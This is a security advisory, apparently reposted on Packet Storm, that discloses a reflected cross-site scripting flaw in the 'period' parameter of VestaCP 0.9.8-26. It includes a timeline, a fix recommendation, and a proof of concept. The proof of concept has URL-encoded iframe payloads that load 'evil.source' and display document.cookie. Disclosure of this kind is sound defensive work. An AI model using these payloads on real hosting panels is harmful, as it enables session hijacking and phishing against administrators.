exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

VestaCP 0.9.8-26 Cross Site Scripting

VestaCP 0.9.8-26 Cross Site Scripting
Posted Dec 4, 2020
Authored by Benjamin Kunz Mejri, Vulnerability Laboratory | Site vulnerability-lab.com

VestaCP version 0.9.8-26 suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 7e70fa744d9b07edcbfc4a161a26c921eb4218063ebaa6d7a2d8da58ea7d7db7

VestaCP 0.9.8-26 Cross Site Scripting

Change Mirror Download
Document Title:
VestaCP v0.9.8-26 - (period) Cross Site Web Vulnerability

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Vulnerability Class:
Cross Site Scripting - Non Persistent

Current Estimated Price:
500€ - 1.000€

Product & Service Introduction:
Web interface is open source php and javascript interface based on Vesta open API, it uses 381 vesta CLI calls.
The GNU General Public Licence is a free, copyleft licence for software and other kinds of works. Its free to change,
modify and redistribute source code.

(Copy of the Homepage: https://vestacp.com/features/ & https://vestacp.com/install/ )

Abstract Advisory Information:
The vulnerability laboratory core research team discovered a non-persistent cross site vulnerability in the VestaCP v0.9.8-26 hosting web-application.

Affected Product(s):
Product: VestaCP v0.9.8-26 - Hosting Control Panel (Web-Application)

Vulnerability Disclosure Timeline:
2020-05-04: Researcher Notification & Coordination (Security Researcher)
2020-05-05: Vendor Notification (Security Department)
2020-05-07: Vendor Response/Feedback (Security Department)
2020-**-**: Vendor Fix/Patch (Service Developer Team)
2020-**-**: Security Acknowledgements (Security Department)
2020-11-24: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Exploitation Technique:

Severity Level:

Authentication Type:
Pre Auth (No Privileges or Session)

User Interaction:
Low User Interaction

Disclosure Type:
Independent Security Research

Technical Details & Description:
A non-persistent cross site vulnerability has been discovered in the official VestaCP (Control Panel) v0.9.8-26 hosting web-application.
The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise browser
to web-application requests from the client-side.

The cross site security vulnerability is located in the `period` parameter of the `./list/rrd/` and `./list/rrd/image.php?/rrd/la/` modules.
The injection point is located in the period parameter and the execution occurs in the `Graphs` module. The request method to inject the
malicious script code is GET and the attack vector of the vulnerability is non-persistent on client-side.

Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects
to malicious source and non-persistent manipulation of affected application modules.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] ./list/rrd/
[+] ./rrd/la/

Vulnerable File(s):
[+] image.php

Vulnerable Parameter(s):
[+] period

Proof of Concept (PoC):
The client-side cross site scripting web vulnerabilities can be exploited by remote attackers without account and with low user interaction.
For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue.

PoC: Example
https://vestacp.localhost:8083/list/rrd/?period=[CROSS SITE SCRIPTING VULNERABILITY!]
https://vestacp.localhost:8083/list/rrd/?period=[CROSS SITE SCRIPTING VULNERABILITY!]

PoC: Payloads

PoC: Exploitation
<title>VEST Control Panel - Client Side XSS POC</title>
<iframe src=https://vestacp.localhost:8083/list/rrd/?period=%3E%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E%3C/iframe%3E%20>
<iframe src=https://vestacp.localhost:8083/list/rrd/?period=%3E%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.domain)%3E%3C/iframe%3E%20>

PoC: Vulnerable Source (/list/rrd/ & /list/rrd/image.php)
<div class="l-unit un-selected selected-current">
<div class="l-unit-toolbar clearfix">
<div class="l-unit-toolbar__col l-unit-toolbar__col--right noselect">
<div class="actions-panel clearfix">
<div class="actions-panel__col actions-panel__edit actions-panel__download">
<a href="/list/rrd/image.php?/rrd/la/>"><iframe src="evil.source" onload="alert(document.cookie)"></iframe> -la.png" target="_blank">download <i></i></a>
... ...
<div class="l-unit__stats">
<img src="/list/rrd/image.php?/rrd/la/>"><iframe src="evil.source" onload="alert(document.cookie)"></iframe>-la.png">


Solution - Fix & Patch:
The cross site web vulnerability can be resolved by an encode or escape of the vulnerable period parameter context in the get method request.
Sanitize as well the output location of the content to resolve the point were the script code code executes.

Security Risk:
The security risk of the cross site scripting web vulnerability in the vesta cp web-application is estimated as medium.

Credits & Authors:
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains: www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com
Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.

Copyright © 2020 | Vulnerability Laboratory - [Evolution Security GmbH]™
Login or Register to add favorites

File Archive:

June 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    19 Files
  • 2
    Jun 2nd
    16 Files
  • 3
    Jun 3rd
    28 Files
  • 4
    Jun 4th
    0 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    19 Files
  • 7
    Jun 7th
    23 Files
  • 8
    Jun 8th
    11 Files
  • 9
    Jun 9th
    10 Files
  • 10
    Jun 10th
    4 Files
  • 11
    Jun 11th
    0 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    27 Files
  • 20
    Jun 20th
    65 Files
  • 21
    Jun 21st
    10 Files
  • 22
    Jun 22nd
    8 Files
  • 23
    Jun 23rd
    6 Files
  • 24
    Jun 24th
    6 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    15 Files
  • 28
    Jun 28th
    14 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By